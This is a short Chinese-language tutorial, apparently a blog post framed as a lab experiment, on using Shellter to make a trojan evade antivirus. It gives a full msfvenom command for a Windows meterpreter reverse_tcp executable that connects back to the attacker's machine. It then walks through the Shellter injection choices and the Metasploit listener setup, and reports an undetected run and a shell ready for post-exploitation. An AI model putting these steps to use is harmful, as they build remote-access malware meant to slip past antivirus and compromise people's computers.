使用Shellter实现简单木马免杀
木马免杀
Shellter是一个开源的免杀工具,利用动态Shellcode注入来实现免杀的效果,我是使用的shellter免杀,做的不是很好,跟大家分享一下我的实验结果。
原理:
生成木马文件,然后将生成的木马文件与**shellter免杀工具**捆绑,然后设置监听,将捆绑后的文件拷贝到WinXP系统中,双击后,发现攻击成功,最后将该文件在腾讯哈勃分析系统上分析。
实验环境:
Kali系统 ip地址为: 192.168.159.128
步骤:
* 在Kali生成一个hacker.exe的木马文件。命令为:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.159.128 lport=4321 -f exe > /root/hacker.exe
* 下载安装shellter免杀工具,切换到shellter文件夹下,执行shellter工具。(注意:直接执行shellter工具会不成功,因为Kali系统不支持运行.exe文件,所以我们需要安装使用wine模拟Windows系统打开.exe文件。)
* 执行shellter工具之后,依次选择
1. 选择A
2. PE Target后面填写/root/hacker.exe
3. 选择Y
4. 选择L
5. payload反弹选择1
* 输入攻击机ip地址:192.168.159.128,端口为4321
* 输入msfconsole进入metasploit。
* 进入监听模块。命令为use exploit/multi/handler
* 配置参数,设置payload反弹,设置lport,设置lhost。
* 开始监听,run。
* 把Kali生成的hacker.exe复制到物理机,双击,系统没有报毒。
* 返回Kali,会看到回弹了信息,攻击成功进入到meterpreter,可以进行后渗透。